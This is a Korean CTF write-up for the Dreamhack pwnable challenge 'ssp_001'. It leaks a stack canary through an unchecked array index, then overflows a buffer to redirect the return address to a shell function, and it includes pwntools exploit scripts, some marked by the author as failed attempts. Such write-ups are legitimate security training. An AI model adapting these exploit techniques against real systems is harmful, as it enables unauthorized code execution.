Dreamhack/Pwnable 문제 풀이

[Pwnable] ssp_001

seobangwool 2026. 4. 15. 11:20

코드를 처음 보자말자 떠오르는 건

void get_shell() {
    system("/bin/sh");
}
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);

...

printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);

오버플로우가 발생할 수 있는 코드들과

리턴 주소를 어디로 바꿔야할지까진 보였다

문제에 나와있듯이 canary 보호기법을 사용하고 있으므로 처음 입력에서 box 크기를 채워서 카나리 값을 읽고 리턴주소를 get_shell로옮기면 어떨까 생각이 들었다

맞는지 모르겠지만 정리하자면 (틀린 방법들임 밑에 맞는 방법 있음)

P로 box의 카나리값을 읽고
F로 box에 get_shell 함수의 위치를 쓰고
E로 name의 리턴주소를 box로 바꾼다고 생각했다

아니면 name 보다 아래에 box가 있으니 box까지 값을 덮어버려야할 수도 있을거같다

아무튼 둘 중 하나로 답을 찾아보겠다

(지금부턴 맞는 말들)
근데

for i in range(68, 72):
    p.sendlineafter(b'> ', b'P')
    p.sendlineafter(b'Element index : ', str(i).encode())
    line = p.recvline()
    byte = int(line.strip().split()[-1], 16)
    canary += p8(byte)

근데 이렇게 해봐도 아무런 값도 안나왔다
값이 잘못되었나 싶어서 다른 숫자도 넣어봤는데 안됐다

image (4)

그래서 HHHHHHHHHH 이런 긴 문자열을 넣어서
box의 주소값을 찾을 뒤 스택이 어떻게 생겼는지 봤다

image (5)

box가 844 인 128바이트만큼 할당되어있다
근데 128바이트 크기만큼 할당된건지 name이랑 합쳐진 뒤에 오는건지 잘 모르겠어서 name에도 값을 넣어봤다

image (6)

box에 HHHH .. 를 넣고
name에 FFFFFFFF을 넣었는데 0xffffcc0c 지점에 잘 들어간걸 볼수있다

그럼 이 함수는

box (64바이트)
name (64바이트)
카나리 (4바이트)
sfp (4바이트)
리턴 주소 (4바이트)

리턴주소가 오는 구조임을 알았으므로
맞춰서 코드를 작성해보겠다

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote('host3.dreamhack.games',19693)

context.arch = "i386"

canary = b""

for i in range(128, 132):
    p.sendlineafter(b'> ', b'P')
    p.sendlineafter(b'Element index : ', str(i).encode())
    line = p.recvline()
    byte = int(line.strip().split()[-1], 16)
    canary += p8(byte)

print("[+] Leaked Canary:", canary.hex())

이렇게 작성하면

image (7)

카나리 값이 나온다
그럼 그냥 name에 읽은 카나리값까지 추가해서 리턴 주소를 get_shell로 바꾸면 될거같다

image (8)

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote('host3.dreamhack.games',15843)

context.arch = "i386"

canary = b""

for i in range(128, 132):
    p.sendlineafter(b'> ', b'P')
    p.sendlineafter(b'Element index : ', str(i).encode())
    line = p.recvline()
    byte = int(line.strip().split()[-1], 16)
    canary += p8(byte)

slog("canary", u32(canary))

get_shell = 0x565562b2
payload = b'A' * 64
payload += canary
payload = b'A' * 4
payload += p32(get_shell)

p.sendlineafter(b'> ', b'E')
p.sendlineafter(b'Name Size : ', str(len(payload)).encode())
p.sendafter(b'Name : ', payload)

p.interactive()

이렇게 했는데 안된다
조금 더 자세히 분석해봐야겠다.

진짜 맞는 풀이
처음 푸는 거 처럼 다시 천천히 풀어 보겠다.
우선 코드를 쭉 읽어보면

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
.
.
.
  case 'P':
      printf("Element index : ");
      scanf("%d", &idx);
      print_box(box, idx);
      break;
  case 'E':
      printf("Name Size : ");
      scanf("%d", &name_len);
      printf("Name : ");
      read(0, name, name_len);
      return 0;

print_box에서 box의 주소로 값을 읽어 오는 것을 알 수 있다.
주소 = base + offset 이고
offset 은 size * index 이다.

근데 여기서 index 범위를 제한하지 않아서 취약점이 생긴 케이스다.

풀기 위한 순서이다.

  1. box, name, canary, return address 가 어디에 쌓이는지 확인
  2. offset의 index 범위 제한을 하지 않은 점을 이용해 box가 아닌 카나리 값을 읽기
  3. name부터 카나리직전까지 쓰레기 값으로 채운 뒤 읽은 카나리 값을 적기 + 리턴주소 전까지 쓰레기 값으로 채우고 리턴주소를 get_shell 함수로 바꾸기

 

main함수에서 변수들로 인해 어떻게 공간이 할당된지 알아야 카나리 값도 읽고 리턴 주소를 덮어씌울 수 있으니까
우선 c 언어 메인함수의 변수를 확인해본다.

image

메인함수에서 얼추 이런 느낌으로 스택에 쌓였을 것이다 (카나리, 리턴주소 등 다 빼고)

name_len
idx
select
name
box

동적분석을 해봐야 알겠지만 일단은 위 구조로 예상된다.




disassem main 으로 어셈블리 코드를 확인해보자

image

일단 스택 구조를 확인해보게 가 호출되는 시점을 기억해두고
main + 316 에 브레이크를 걸고 스택을 확인해줬다.

image

사실 당연한거였는데 아직 전부 0이라 아무 값도 안나왔다

image

그래서 대충 메인함수가 끝날때쯤 브레이크를 걸고 box랑 name에 값을 확인해봐야겠다.
난 main +601에 브레이크를 걸었다.

image

initialize에서 걸리고 뒤에 잘 실행이 된다.
F 선택 후 box에 값을 넣고, E 선택 후 name에도 값을 마저 넣겠다.

box 에 A 16개를 넣고 name에 Z 16개를 넣었다.

image

A 문자열과 Z 문자열이 잘 들어간게 보인다.
구조를 보니 box가 name보다 상단에 들어가있다.(주소값이 더 작다는 뜻)
각각 64바이트씩 잘 할당되어있고 메인 리턴 주소의 위치와 카나리의 위치, SFP 주소까지 전부 다 잘 나와있다.

image

더 이쁘게 보기 위해 box 주소값 기준으로 들어간 값을 보면 잘 이해가 된다.

box (64 byte)
name (64 byte)
카나리 (4 byte)
더미 (4 byte)
ebp(SFP) (4 byte)
리턴주소 (4 byte)

이런 구조임이 밝혀졌으므로 box에서 128부터 131까지 카나리 값을 읽고 (널 바이트 제외)
128 바이트 아무 값 + 읽은 카나리 + 8바이트 아무 값 + get_shell 주소

이렇게 하면 되겠다.

코드

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote('host3.dreamhack.games', 21987)
context.arch = "i386"

e = ELF("./ssp_001")
get_shell = e.symbols['get_shell']

canary = b''

for i in range(128, 132):
    p.sendlineafter(b'> ', b'P')
    p.sendlineafter(b'Element index : ', str(i).encode())
    line = p.recvline()
    byte = int(line.strip().split()[-1], 16)
    canary += p8(byte)

slog("canary", u32(canary))

payload = b'A' * 64
payload += canary
payload += b'B' * 8
payload += p32(get_shell)

p.sendlineafter(b'> ', b'E')
p.sendlineafter(b'Name Size : ', str(1024))
p.sendafter(b'Name : ', payload)

p.interactive()

이걸 넣고 돌리면

image (10)

답이 나온다